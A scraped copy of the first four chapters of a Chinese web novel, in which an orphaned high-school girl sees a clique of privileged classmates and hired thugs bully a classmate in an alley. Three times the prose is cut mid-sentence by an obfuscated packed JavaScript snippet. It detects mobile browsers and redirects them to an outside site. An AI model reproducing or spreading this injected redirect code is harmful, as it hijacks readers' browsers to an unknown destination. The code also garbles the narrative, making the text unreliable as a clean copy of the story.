《熠熠流火》 1. 君本少年游侠客 ——【卷一·堕崖】—— 『堕崖之前，你会拉住我吗？』 // 季希今年秋季刚读高一。 季希这个名字，是院长妈妈为她取的。 季节的季，希望的希。 这天傍晚，她打扫完教室，拎着拖把正准备去卫生间透水。 迎面碰上吴焕晗的同桌，季希腼腆地笑着同她打招呼：“怎么回来了，有东西忘拿了？” 那女同学很无奈：“别提了，我忘记把老班的作业装进书包了，又不敢不写，只好回来取。” 她踏进教室，随意地扫视一圈，奇怪道：“咦？季希，怎么只有你一个人在，我记得焕晗今天也值日？” 季希摆手道：“没事，我基本已经打扫干净了，现在做个收尾工作就能结束了。” 你犹豫了一下，还是问道：“话说我一放学就没看到她，你知道她去哪了吗？” 那女同学拿了试卷准备走，随口道：“可能有事吧，你明天问问她。她下午最后两节课就挺不对劲的，有点坐立不安。” 开学不到一个月，季希对班里的大多数同学都还不太熟悉。 因此她点点头，没有再说什么。 她今天打扫卫生的时候，还顺便回忆了今天学习的内容，如果和同学一起打扫，肯定是要寒暄聊天的。 这样想想，一个人值日也还好，挺自由的。 季希洗好拖把，从卫生间往回走时，想着作业上布满的大大的红叉，心情实在是不太美丽。 偶然瞥见天尽头被夕阳余晖渲染出绚丽色彩的晚霞，她一下子被吸引。 季希把这当成是自然送给她的小风景、小确幸。 这能够令她短暂性地从学业里逃离出来，喘口气。 于是季希把拖把靠在墙上，一个人趴在栏杆上，盯着晚霞出神。 她学习一向很一般，属于虽然很努力，但是就是各科都学得不太好的类型。 季希觉得，这可能是智商问题。 她能考上南庐市一中这所市重点，实属是中考超常发挥。 也许时运在那一年比较眷顾她。 连院长妈妈都没想到她能考上，听到她被市一中录取的消息时，院长妈妈抱着她在孤儿院那个小院子里兴奋地转了足足六七圈。 可她的成绩如果一直是现在这个样子下去，她还怎么考大学，怎么离开孤儿院，以后怎么生存呢。 想到这里，季希心里升起一股烦躁，下意识地使劲拍了一下栏杆。 不锈钢栏杆发出响亮的声音。 由于整个走廊的栏杆相连，这声音被传导得很远。 这种音质拉扯神经，却奇异地让季希平静了下来。 虽然她只能待在最普通的平行班，可是她的要求也不高。 她只是需要考上一所普通的大学。 然后习得一个可以让她找到工作的技能。 最后自食其力地生存在社会中。 和所有普通人一样。 不用向上。 只是不要重新跌回最底层就好。 她一个无父无母的孤儿，本来也在底层。 可是她虽年少，却也知道，这个世界，无论是好还是坏，都肯定要比她现在所认识到的更加复杂。 她能做的有限，必须抓住每一个机会。 而读书，是她未来想在社会中生存下去所能依仗的最大的一个机会。 如果只是这个目标。 虽然她慢一些，笨一些，但是努力三年，应该也是可以达到的吧。 想到这里，季希有些释然，她安慰好了自己。 整理好心情，季希拿起拖把，准备回自己的班级。 她一转身，却发现自己站着的位置正对着一间教室的后门。 而现在，这个后门是打开的，而且站了一个人。 那男生穿着高一的校服。 和大多数同学穿出的臃肿感很不一样，蔚蓝的颜色让他整个人显得很清雅。 尽管校服十分宽大，但他依然修长挺拔，清俊秀美。 季希心想，课本上讲的那种面如冠玉、玉树临风的美男子，可能就是这个样子吧。 不过任他如何谦谦如玉，和她关系也并不太大就是了。 季希转身看见他的时候，他应当是正准备走出教室。 迎面恰好撞见人，他正往教室门外迈的步伐便恰好定在了那里。 那两只眼，乍一看像寒潭里的水，很清，也很深。 像是他这样的人会长的眼睛。 可是再仔细一瞧，就会发觉，那不是普通的潭水，而是雪山天池里的水。 深水之下是休眠的火山，表面的宁静里蕴藏着巨大的能量，其间有浓烈的岩浆在滚烫地奔流。 季希立时便有种直觉，这男生虽然面上看着有些清冷疏离，但应该内里也是个很热烈豪迈的人。 她从来没有见过这样气质的男生，眼神不免有些直白，惹得那男生的目光在她的身上停留了一瞬。 可就是这一瞬，让季希如芒在背。 一向在人群中隐匿自己的她仿佛突然被人从幕布之后揪上了打着聚光灯的舞台。 而这个人的眼眸仿佛就如探照灯一般，将她隐藏在平凡之下的怯懦和自卑赤裸裸地检测出来。 她好像无所遁形。 季希的脚下仿若生出根，她被钉在那里，半晌没动，就这样愣愣地瞧着男生的脸。 男生的眼底本无波澜。 此时他似是瞧出季希的窘况，唇边漾出一丝温和安抚的笑意，对她轻轻点头，算是打了个招呼。 季希仿佛听见了初春时节冰雪融化的声音，她下意识地也朝对方点了下头：“你好哇。” “你好。”男生友好地轻笑，然后才转身离开。 季希松了一口气，还好他没有觉得她的行为很唐突。 目光追随着男生的背影，季希发现，他真的好高。 刚刚擦肩而过的瞬间，她应该才到他肩膀处。 注视良久，直到他转身下了楼梯，季希才收回目光。 她靠近这间教室的后门，悄悄探脑袋进去。 教室已经空无一人，看来他也是最后离开教室的人。 季希抬头去瞧这间教室的门牌。 高一（一）班。 重点班里的重点班。 原来是大神，怪不得气场这么强。 不过，之前怎么没有注意到重点班也在这层？ 季希奇怪，探出头趴在栏杆上数楼层，这才发现自己刚刚因为心不在焉，走出卫生间后竟然上了好几层，跑到五楼来了。 应该只上一层楼的。 她说今天这夕阳的光线怎么这么好，原来是因为站得高。 都怪三楼的女卫生间坏了，她才会去二楼卫生间洗拖把。 不过这也算是失之东隅,收之桑榆。 虽然走错了楼层，但是邂逅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16577952|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了漂亮的人。 这种洗眼睛的机会可不多得。 回到班里，季希留在教室里自习了一会儿。 她改好错题后，着重复习了白天课堂上学习的数学、物理和化学的内容。 虽然感觉脑子仍然很晕，但是已经比之前的一团浆糊要清晰了许多。 收拾好书本，季希舒了一口气。 又看见便利贴上写着语文老师说的“每天积累一点好词好句”。 她认命地走到教室后排的图书角，那里放了一些书，可供同学们随意翻阅。 季希拿起一本《诗经》。 随意一翻，看到其中名为《淇奥》的一篇。 她不由自主地读了出来。 “瞻彼淇奥，绿竹猗猗。” “有匪君子，如切如磋，如琢如磨。” 季希脑海里莫名地闪出刚刚偶遇的那个男生的模样。 “瑟兮僩兮，赫兮咺兮。有匪君子，终不可谖兮。” 看到这里，有限的知识储备让季希实在是念不下去。 她翻到注释和译文去看，然后就笑了。 真应景。 他神态庄重，富有威仪，内心严敬，虚怀若谷，容貌光明烜赫。 内有其德，外见于貌，如此盛德高雅的真君子，令人一见便难以忘记他。 可忘不掉，也难再见，更难有交集。 都是负担，多思无益。 季希又翻了几页，背了一会儿《氓》，就放下书，拿起书包准备回家。 她下楼时，注意到还有一些教室亮着灯，整栋教学楼静悄悄的，只能听见自己哒哒的脚步声，和偶尔响起的不甚清晰的说话声。 季希突然想起来，刚刚好像发现—— 那个男生眼角下，有一颗美人痣。 停自行车的区域，这会儿已经几乎没什么车了。 季希把书包放进车筐，又把刚刚一直边走边背的一页单词纸也塞进车筐。 骑上车，正准备走。 突然刮起一阵大风，那张单词纸竟然被吹走了。 季希去追。 她沿着停自行车的棚子追到了尽头。 接着是一排灌木丛。 灌木丛旁边是体育馆。 风裹挟着轻薄的纸张，比人的脚步快得多。 算了，幸好那张单词纸只是从单词书上裁下来的一张，这书随处可见，别人捡走了也不碍事。 季希准备原路返回，去骑自行车。 远远地，灌木丛的另一边，体育馆的拐角处，好像有人在说话。 季希的视力很好，看清楚是谁之后，她立马蹲下来。 怎么会遇上她们？ 今天出门真是没看黄历。 感谢学校的园丁叔叔，这灌木丛长得真高，救了她一命。 季希猫着腰，想要就以这个姿势退回到自行车棚子那边，然后骑车绕过这段路，从学校的另一个校门出去，这样就可以避开这几个人。 谁知这几个人从体育馆拐过来，就是准备往她这个方向走，看样子准备回高一教学楼。 真是避无可避。 季希利用视觉的死角，在那几人拐弯的时候，顺势从自行车棚子和灌木丛之间的缝隙钻了进去，躲在了灌木丛后面。 好在她的身形一直都很瘦弱，体育馆和灌木丛间的狭小位置，还是能藏下一个她。 那三人从这里经过，说的话被季希听了个一清二楚。 2. 君本少年游侠客 一道谄媚的声音响起。 “晶姐，吴焕晗今天找咱们班那小四眼问柯岩哥的情况了。” “哦？她问了什么？” 回复的这道声音中带了些高高在上，和一丝被挑起的兴趣。 这便是前者口中的那位晶姐。 “是安然告诉我的，具体的我也不清楚。” 是第一个人在回话，用她那道谄媚的声音。 晶姐：“安然，你说。” 第三个人的声音响起，她的音调很娇媚。 “吴焕晗就来询问柯岩哥最近一直没来学校的原因，小四眼的哥哥在教导处工作，多少知道点情况，就告诉吴焕晗说柯岩哥出国了。” 晶姐的声音响起：“那吴焕晗听说这件事以后，是什么反应？” “小四眼说，吴焕晗没什么反应，打听到消息后就走了。” 娇媚的声音回答道。 最开始出现是那道谄媚的声音此时又说道：“怎么会真没反应，吴焕晗这人最会装了。” 晶姐没有说话。 几人好像站住了。 那道娇媚的声音突兀地响起，说出来的内容却与她的声音极度不符。 “晶姐，柯岩哥多受女孩子欢迎呀，可他偏偏喜欢吴焕晗。有柯岩哥护着吴焕晗，咱们没少在她手底下吃亏。现在柯岩哥离开，吴焕晗落单。正是我们找回场子的好机会呀。任她再有心机，咱们人多，她就只能认栽。” 晶姐有些不耐：“高一开学没多久，咱们还是收敛一点。况且我现在一堆事儿要做，哪有闲工夫专门去找她茬儿。什么时候碰上了再说吧。” 娇媚姐：“那是晶姐你宽宏大量，所以不和吴焕晗这种烂人一般计较。可是其他人就不会这么想了，她们只会觉得晶姐你碍于柯岩哥和蔡家的势力，不敢动吴焕晗。” 晶姐不高兴了，声音里带了丝因为权威被挑衅而生起的薄怒：“笑话，我还会怕蔡柯岩，我最讨厌这种小白脸了，我那是看在凌舟和他是好朋友的份儿上，给凌舟面子。” 娇媚姐：“现在就有一个机会，刚刚有人看见吴焕晗在南巷那儿找兼职，我让人拖住她了，我们现在去南巷肯定能堵到她。今天给她点颜色瞧瞧，以后让她见着晶姐都绕道走。” 谄媚姐挤进来一句话：“就是，也让大家都看看，南庐市一中究竟谁才是老大。” 几个人慢慢走远，她们再说的话季希就听不清楚了。 季希担心她们突然回头。 为了稳妥起见，她蹲在灌木丛后面，等着这几人彻底离开这条路。 她们口中所提到的吴焕晗，是和她一个班级的吴焕晗吗？ 所以吴焕晗今天没有留下来值日，是因为要去那个什么南巷找兼职勤工俭学？ 那现在，应该怎么办？ 季希陷入了沉思。 其实，以季希这种两耳不闻窗外事、一心只读圣贤书的性格，她今天之所以能认出这三个女生，还要感谢她的同桌于棠。 在季希眼里，于棠是个很神奇的人。 于棠的性格很好。 就是她有时候会说一些奇奇怪怪的话，让季希有些摸不着头脑。 但是季希很喜欢于棠。 因为于棠是季希在南庐市一中为数不多的、能说得上话的朋友。 那是高一新生开学典礼的时候，秋阳十分热烈。 季希热得有些受不了，低着头藏在乌泱泱的人群中，只想着快些熬过这点时光，然后回教室吹空调，看书和预习课本。 恍惚间季希听到站在她旁边的新同桌于棠发出了“切”的一声。 季希一下子清醒了，疑惑道：“怎么了？” 于棠抿了抿嘴，忍了又忍，但实在是不吐不快的样子，最后她招了招手，示意季希凑近些。 季希附耳过去。 于棠悄悄道：“现在台上正讲话的那个女的叫林晶，是我以前的初中同学。” 季希赞叹道：“哇，她能上台代表高一年级新生讲话，应该很优秀吧。” “才不是呢。学习成绩好的人多了去了，比她厉害的咱们年级也不是没有，怎么校领导没有选那些真正高风亮节、品学兼优的同学，却选了她？还不是因为她有个好爹。这让我们如何服气？”于棠将声音压得更低，“而且吧，她这个人，有两幅面孔。” 季希不明白。 于棠道：“你别看她现在作为学生代表在台上讲话的时候这么温柔谦和、富有朝气。私底下她其实眼高于顶，自以为是，喜欢指挥别人做这做那，好像自己有多高高在上似的。其他人都低她一等，所有人都得听她的。” “要是有不识趣的人不听她的，损了她的面子，她就会搞小团体，让所有人都孤立那个人，耍各种手段搞得别人在学校待不下去。” “之前我们初中就有人因为受不了她的这些折磨，最后直接转学了。” 季希十分震惊：“竟然还有这样的事。” 她以前读的学校都是孤儿院附近的小学校，学生人数并不算多，大家都挺单纯的，所以她还没遇到过这种同学。 于棠点头，深以为然：“想不到吧。” 她继续和季希分享道：“她还有两个小跟班。” 说到这里，于棠的目光在人群中来回穿梭，最后悄悄朝着人群最左边的那个班牌指了下，说道：“看到那边了吗，那是高一（一）班的牌子。” 季希呆呆地点头：“看到了。” 于棠挑了挑眉道：“举牌的那个女的叫寇依宁，她后面的女的叫甄安然。” “俩人都是林晶的跟班。” “一个狐假虎威、指哪儿打哪儿，像只哈巴狗。” “一个暗地里拱火、一肚子坏水儿，装成小白花。” “总之，都不是什么好货色。” 季希张大了嘴巴。 于棠语重心长道：“今天你认认人，以后不管是在学校里还是学校外，只要看到她们，一定要逃得越快越好。” “她们三个人就是霸凌小团体，偏偏成绩都还不错，又有手段、有背景、有人撑腰，因此胡作非为惯了，就只有她们找别人茬的份儿。很多人对她们趋之若鹜，想要当她们的狗。” “她们在老师面前也很有一套，老师们都很信任她们。退一万步讲，就算老师们知道她们是什么样的人，碍于她们的家庭背景，只要不闹得太大，老师不会管的。而且林晶的爸爸还是校董会的。反正她们都很双标，只许州官放火。” 那次开学典礼后，有几次在校园里看见林晶、寇依宁、甄安然她们的身影，于棠让季希远远地认了一下她们的正脸以后，便立马拉着季希换条路避开她们。 由 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16577953|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于于棠强调过很多次，所以季希对这三个人的脸和身份印象深刻。 个子最高的谄媚姐是寇依宁。 个子最矮的娇媚姐就是甄安然。 气质稍显沉稳的那个就是她们口中的晶姐——林晶。 这几个人都是一班的学生。 或者说，都是有着好家世、好背景并且受到了最优质培养的有权有钱人家的孩子。 但是真没想到，竟然私底下还干这种事。 果然是人不可貌相。 季希听见于棠给她科普关于这三个人的知识，其实是当作听明星八卦的心态，就是稍微娱乐一下，开开她狭窄的眼界。 她从来没有想过，自己会和她们产生交集。 今天她意外听到了她们三人的话语，而其中的内容和她的同班同学有关系。 这让她陷入了艰难的抉择。 毕竟，虽然于棠对林晶、寇依宁、甄安然这几个人的行为作风十分不屑、嗤之以鼻、不以为然，但是她对她们也绝对是敬而远之的。 于棠了解她们，所以不敢惹她们。 季希也同样不敢。 但犹豫再三，季希还是决定去一趟南巷。 如果她没有听到这三个人说的话，那当然好。 可惜她运气不好，听到了这件事。 都是同学。 让她完全当不知道。 良心有些不安。 林晶三人如果要先回教学楼再去南巷，这中间会有一段时间差。 她骑着自行车从那里经过。 她尽她的一份心，接下来就看吴焕晗的运气了。 如果碰上了吴焕晗，就给她提个醒。 如果没碰上，只能说都是人的命。 骑着车出校门时，季希瞥了眼腕间的手表。 七点钟了。 南庐市一中旁边有好几个小区，都是学区房。 其中有一条街的名字就是南巷。 离学校没多远。 季希的印象中，那一条街都是餐馆饭店。 莫非吴焕晗想在课余时间刷个盘子、端个碗？ 心中生出些同病相怜之感，季希更加不希望吴焕晗出现意外了。 季希把自行车的车轮蹬得飞快。 没有耽误一点时间，她很快就到了南巷。 这个小吃街属于步行街，季希把自行车停在了非机动车停放区。 吴焕晗个子高挑，身材苗条，五官出色，往人堆里一站，按道理很好认的。 可是，季希沿着街边的一家家饭店找过去，却始终没有看见吴焕晗的身影。 季希的心渐渐沉了下去。 就在她快要放弃的时候，突然，她眼睛一亮。 在南巷的尽头，有家装潢很淡雅清新的店，里面那个服务员的背影瞧着很像吴焕晗。 季希环顾四周，尚未看见林晶几人的身影出现在这条街上。 她连忙冲了进去，气喘吁吁地拍了拍那人的肩膀。 那人回过头来。 映入眼帘的却不是吴焕晗的脸。 季希忙不迭地道歉：“不好意思，小姐姐，我认错人了。” 坐在餐馆门口的长椅上，季希一脸迷茫。 吴焕晗，你在哪儿呢？ 今天你不会真的难逃厄运了吧？ 3. 君本少年游侠客 见程景逸的目光刚刚一直落在那位突然冲进餐馆的女生身上，邵平风略感新奇。 不过那女生好像是认错人了，转眼间便又离开了这家店。 真是来去如风。 想起那女生身上穿着的正是他们南庐市一中的校服，邵平风试探着问程景逸：“你认识？她是你们班的？” 程景逸此时已经收回目光，正在专心吃饭。 猛地听见好友没头没脑地开口，他有些疑惑：“什么？” 邵平风笑得一脸八卦：“我说，刚刚那个女生，你认识？” 程景逸讲话言简意赅：“一面之缘。” 邵平风：“哦，那就是不认识。嗐，我还寻思呢，你怎么会喜欢这个类型。” 好友的言语间带出些居高临下的点评意味。 程景逸眯起眼睛，重复道：“这个类型？” 邵平风点头：“嗯。” 程景逸放下筷子，靠着椅背，漫不经心道：“那你说说看，她是什么类型？” 邵平风回想起刚刚那个女生的样子，斟酌着说出几个词：“其貌不扬……灰头土脸……毫无特色……哎呀，反正就是扔进人堆里瞬间就找不到的类型。和你明显不般配嘛，你怎么会注意到这样的人。” 程景逸端坐敛容，正色道：“平风，你这样评价一个女生，非常不合适。” 见好友不以为意，程景逸继续规劝道：“你以为你贬低的仅仅只是她吗？你同时还在贬低你自己的心。” 邵平风摸摸鼻子。 他和程景逸从小学就认识了。 初中在一个班，高中又在一个学校。 俩人的性格和平日里的处事风格其实完全不一样，但是意外地还能玩到一起。 邵平风可真是太了解程景逸了。 他这个好友是位真君子，在很多方面都有自己奇奇怪怪的坚持。 邵平风知道，程景逸虽然看起来高高冷冷、不近人情，可实际上却对任何人，包括萍水相逢的陌生人，都慎重地保有着非常真诚的平等尊重。 不像其他人那样把别人用家世、长相、成绩分出个三六九等。 程景逸珍视每一个生命。 邵平风自己很多时候其实做不到像程景逸那样，时时刻刻反躬自省，克己慎独。 所以他很佩服程景逸这一点。 但他平日里大大咧咧惯了，经常嘴上不把门，今天就又被抓包了。 邵平风：“知道，知道。我就随口说说，不会当着人家的面这么说她的。而且她也不会听到的。” 程景逸坚持道：“君子有道，不欺暗室。” 邵平风知道，如果他死不悔改，程景逸是真的会跟他生气。 不想再听程景逸念经，邵平风只好端正态度地认错：“你有理。哥，我下次绝对管住自己这张不听话的嘴。” 程景逸：“你每次都这样说。” 邵平风讪笑道：“嘴有它自己的想法嘛。” 程景逸：“那是你的嘴，你要为之负责。” 邵平风没脾气了：“我记住了，哥，吃饭，吃饭。” *** 另一边，季希见天色已经慢慢暗下来，她又实在是找不到吴焕晗，便只能放弃，准备打道回府。 由于时间确实是比较晚了，她准备骑车抄近道回孤儿院。 这条路季希之前走过一次，是她偶然之间发现的一条近路。 那次是中午，季希忘记带下午上课要用的书，趁午休时间回去拿。 而现在则是晚上，与天光大亮时的境况完全不同。 晚上的天空说暗就暗了下来，小路上星星点点地亮起路灯。 其中大部分路灯由于年久失修，已经不太亮了，还有的灯甚至干脆就完全熄灭，亮不起来了。 很明显地能看出，这里是个城中村，小路的两边都是自建房的围墙。 整条小路笼罩在昏黄的暗光之下。 偶尔有猫咪嗖的一声从旁边的院墙上蹿过。 冷风阵阵，季希打了个冷战，心里不知道为什么突然感到有些发毛，她连忙加快蹬自行车的速度。 这个时间点，大部分人都已经回家，附近的居民多半也在家里吃饭。 季希一路骑自行车经过，还没见到什么行人。 凭借着记忆，季希知道，在前面的岔路口左拐之后，再直行一段路，就能穿过这片区域，回到大路上。 她暗暗松了口气，蹬着自行车的动作也从沉重变得轻快起来。 季希在心里告诫自己，下次即便是赶时间，也不能再走这条小路了。 真是太让人担惊受怕。 也太考验她的心理承受能力。 忽地，迎面吹来的晚风裹挟着隐隐约约的声音吹过季希的耳畔。 季希似乎听见有人在说话，其间还掺杂着女子的呜咽声。 越靠近前面的分岔路口，那声音越大越清晰。 季希心底一沉。 她知道，大事不妙。 季希赶紧刹车，从自行车上下来。 她抱起自行车，放轻脚步，缓缓地向路边移动着，让自己和自行车绝对不发出一点点多余的声响。 最后她贴着墙根，和自行车一起隐在昏暗的阴影之中。 不远处的说话声清晰可闻。 “没想到你也能考进市一中，真是晦气。不知道校董那些老头怎么想的，让你这样的烂人跟我们一起读书。” “就是，初中就看着你那张丧气的脸，高中怎么还要看到你。就跟张狗皮膏药似的，扯都扯不开。你说，你是不是就赖上我们了？” “晶姐，她可不是赖上我们，她是赖上柯岩哥了。怎么，以为自己长得还算平头正脸，就天天在柯岩哥面前卖弄心机和姿色？” “那又怎么样，柯岩哥只是一时被迷了心窍，等看清了她的真面目，自然也就撒手了。” “你是不是好久没见到你的柯岩哥了，是不是怎么也联系不上他？告诉你个好消息，他出国了。他不要你了，你也别想再见到他。” “安然，你和她说这个干什么。就让她慢慢等着呗，等到海枯石烂，看谁来救她。” “呦，别拿你那套眼泪丝丝、我见犹怜的法子在我们面前哭，跟谁欺负你了一样。怎么，你觉得我们校园霸凌你呀？你想去找谁告状呢？找警察叔叔吗？可是怎么办，我们三个人打你了吗？骂你了吗？碰到你一根手指头了吗？我们不过是在你面前聊聊天。而她们呢，也只是和你玩个游戏，你情我愿，仅此而已呀。” “就是，依依说得对。你这人果然是有娘生没娘养，你家里人就是这样教你勾引人的吗？真是恶心，下作，晦气。” “我告诉你，今天你在这里跪着的一个小时只是一个开始。她们往你身上招呼的都是轻的。你那个瘸子妈的手术就不要想了，蔡柯岩愿意给你钱又有什么用，他现在不在国内，而我，有的是办法让你、你妈还有你那个弟弟生不如死。所以，只知道哭的蠢猪，我劝你最好滚远一点，以后远远地见着我们就立马 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16577954|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 识相地绕道走，否则，我见你一次收拾你一次。记住我的话，我讨厌你，不想再看见你。” “你们一家子社会底层的loser，你们就应该永远活在黑暗之中。小贱人，你不应该来到我们光明的世界的，不自量力的后果，你今天自己品尝了。” “我们走。” 三道声音一茬接着一茬。 音色都很好听。 有高傲的。 有娇媚的。 有嚣张的。 总之都是字正腔圆，一听就是受过专业训练。 连说话的声音和腔调都这样注意培养，可见都是受到了十分精心地高质量教育。 可这样美好的声音说出来的话语，其中所包含的内容却仿若能致人于死地的穿肠毒药，见血封喉。 当真是，蛇蝎心肠美人面，最毒不过妇人心。 其间还夹杂着一些不断附和的声音，像是还有一些人是听命于她们。 听她们的意思，这几人现在要走。 自己绝不能被发现。 季希思及此，赶紧把自行车轻轻靠在墙上，然后悄无声息地躲到旁边停着的一辆货车后面。 从墙和车的缝隙之间，季希看见一群人走过去，最前面的三个女生穿着市一中的校服，后面几个人像是社会人士，男女都有，头发染得五颜六色。 这是个三岔路口。 她们从岔路口的右边走出，然后径直往岔路口的左边走去。 而季希蹲在第三条岔路上，在货车的遮掩之下悄悄地观察着她们。 这些人向着她原本要走的那个方向而去，应当也是打算从那里离开这片城中村。 既然如此，季希决定蹲在货车后面多待一会儿，等她们彻底都走远了再离开。 她刚刚其实离那些人很近，不然也不可能听得这么清楚。 只是她这边这个岔路的路灯刚好坏了。 再加上前面那三个人都十分傲慢，只在意自己想做什么。 后面几人则都在看前面三人的脸色，陪着讨好的笑容，说着讨好的话语。 所有人都没有向这边投过一寸目光，自然也没有注意到躲在大货车后方的她。 她们经过的地方路灯都好好运转着。 灯光明晃晃地打在最前面的三个人身上，季希看清了她们脸上瘆人的笑容。 明明是靓丽青春的高中女生，拥有天使一样的容颜，那氛围却像是从地狱里走出来的暗鬼与恶魔。 季希刚刚在听到那几个称呼时，心里就隐隐有了猜测。 而且她们的声音多多少少有几分熟悉感。 现在看到几人的脸时，季希终于确定，这就是林晶、甄安然、寇依宁三人，以及她们的小喽啰。 自己在南巷没有找到她们，竟然在这儿碰到了。 看样子吴焕晗也极有可能就在此处。 她还是没能阻止厄运的降临，甚至算是耳闻到了一切。 季希实在是没有想到自己会遇到这样的情景。 她受到了极大的冲击，以至于没有蹲稳，向后跌了一下。 好在她眼疾手快地扶住了面前的车身，这才没有完全摔下去。 但是她的鞋子不小心在地上重重地划了一下，发出了清晰的声音。 那几个人停住了脚步，齐齐往这边看来。 季希整个人缩在货车背后的阴影里，想到曾经听到的关于这几个人的传闻，她不寒而栗，后背都有些发凉。 莫非，天要亡我？ 4. 君本少年游侠客 林晶看向寇依宁。 她扬了扬下巴，示意寇依宁去察看一番。 瞧见林晶这种颐指气使的态度，寇依宁背着手，在没人看见的身后竖了个中指。 其实她真的很不喜欢林晶，偏偏父亲一直叮嘱她，要她一定要和这位林家大小姐搞好关系，于是她只能忍气吞声，听这个傻子的指挥。 但寇依宁说到底也不是一个逆来顺受的人。 不就是当个狗腿子吗，当就当，但不能只有她一个人当。 虽然在林晶面前她总得违心地说些谄媚的话，但是在别人面前，她就不需要小心了，该嚣张就得嚣张一些。 她就是这种性格。 寇依宁手一挥，让刚刚那几个奉命打吴焕晗的人跟着她一起去看。 那几个人都是巴结她们三个的小喽啰，专干她们三个不方便亲自动手做的事。 寇依宁心里不痛快，冲着黑暗中开口时就不太客气：“那是谁呀？缩头乌龟躲在那儿，识相的就快点滚出来！” 其他几个人跟着附和。 “就是，缩头乌龟，出来。” “有种就出来。” “别拖延时间了，快出来。” “再不出来，我们就过去了。” 虽然寇依宁开口很有气势，但她心里其实稍稍也有些没底，所以脚步也很慢，随时准备转头就撤。 这边突如其来的变故让这群人早已将刚刚她们恶语相向的那个女生置之脑后。 *** 而吴焕晗在这群人转身却还未走远时，立马把书包垫在了膝盖下面，用外套把书包遮住，然后又低下了头。 蔡柯岩已经有大半个月没有联系过她。 她发过去的消息也许久没有人回复。 没想到他竟然真的出国了。 也是，一个绣花枕头怎么可能拧得过掌握了他经济大权的父母。 可他答应借给她的医药费还没给到她手里呢。 早知道她还不如去打个零工呢。 吴焕晗跪在自己的书包上，眼里没什么情绪，心里却把蔡柯岩骂了个狗血淋头。 正在想应该如何筹钱，吴焕晗根本没有注意到角落里发出的声音。 此刻见到寇依宁这般色厉内荏的叫骂，她才意识到刚刚可能有人听到了这一切。 吴焕晗翻了个白眼。 寇依宁这个人吴焕晗从初中就已经认识了。 这人就是个见风使舵的墙头草，谁家有钱她跟谁玩，谁家有权她巴结谁，拜高踩低、欺软怕硬那一套她玩得最溜，可实际上，她就是个纸老虎，若是真碰上个横的，她跑得最快。 不过…… 吴焕晗叹了口气。 如果刚刚真有人听见了这些人的所作所为，希望这人还是要能安然无恙地离开。 想到这里，吴焕晗又自嘲地扯了扯嘴角：她自己都是泥菩萨过河了，怎么还有心情管别人的死活。 留得青山在，以后再来惩罚这些恶人。 但是现在？ 还是先苟着吧。 这些人气焰太盛太嚣张，她现在根本斗不过。 以前初中的同学中有很多人都知道她们的行径，可是谁又敢告发呢？ 关键是向谁告发呢？ 甚至连老师都睁一只眼闭一只眼…… 嗐，没事。 连淮阴侯韩信都还受过胯下之辱，这点小事算什么，她还不放在眼里。 吴焕晗盯着自己手腕上的疤痕，眼底闪过一丝狠厉。 *** 另一边，季希听着那几人向自己这个方向靠近的脚步声，心里焦急万分，脑子高速运转。 她正在犹豫，究竟要不要学个猫叫试试能否混过去时，她听见对面似乎有人走了出来，并且骂骂咧咧地朝着林晶她们几个的方向去了。 季希悄悄地从车后探出脑袋，这才注意到自己藏身的这辆车对面竟然有个门。 这条路的左右两边太不对称了。 季希藏着的这一边是别人家的围墙。 昏暗一片中，她下意识便以为对面也是围墙，哪想到对面是人家的门。 现在，那扇门是打开的。 从门里走出的那个骂骂咧咧的魁梧青年，季希只能瞧见他的背影。 只见他一边走，一边骂，一边还往岔路口赶着一条狗：“哪里来的狗东西，跑到别人家的地盘上拉屎撒尿，赶紧给老子滚出去，再跑进来，老子打断你的狗腿！” 说完，还往林晶她们的方向泼了一盆水，然后走回小院，砰的一声摔上门，把狗和那群人都隔绝在了门外。 季希在他往回走时便已经退回到了车后。 他泼出来的水蜿蜿蜒蜒地流淌，一路延伸，有一部分经过车底，流到了季希的脚边。 季希呆住了，心里为这位大哥竖起了大拇指。 勇士。 骂得真好。 同时又不动声色地往暗影里藏了藏。 她现在整个人几乎是贴在了面前这辆车的车身上，力求与车和黑暗融为一体。 这位大哥也不知道看没看见她。 希望没看见。 多一事不如少一事。 经过这一出，林晶几人的脸色都很不好看。 寇依宁本来想骂回去。 但是那男人长得挺凶神恶煞。 被他赶出来的那条狗看起来也有些凶猛，是条大狼狗，正虎视眈眈地盯着她们几个。 好汉不吃眼前亏，寇依宁决定闭嘴，之后再找回场子。 林晶本来就一向把别人使唤在前面。 而且她自恃身份，更不会和住在这种城中村里的贫民对骂。 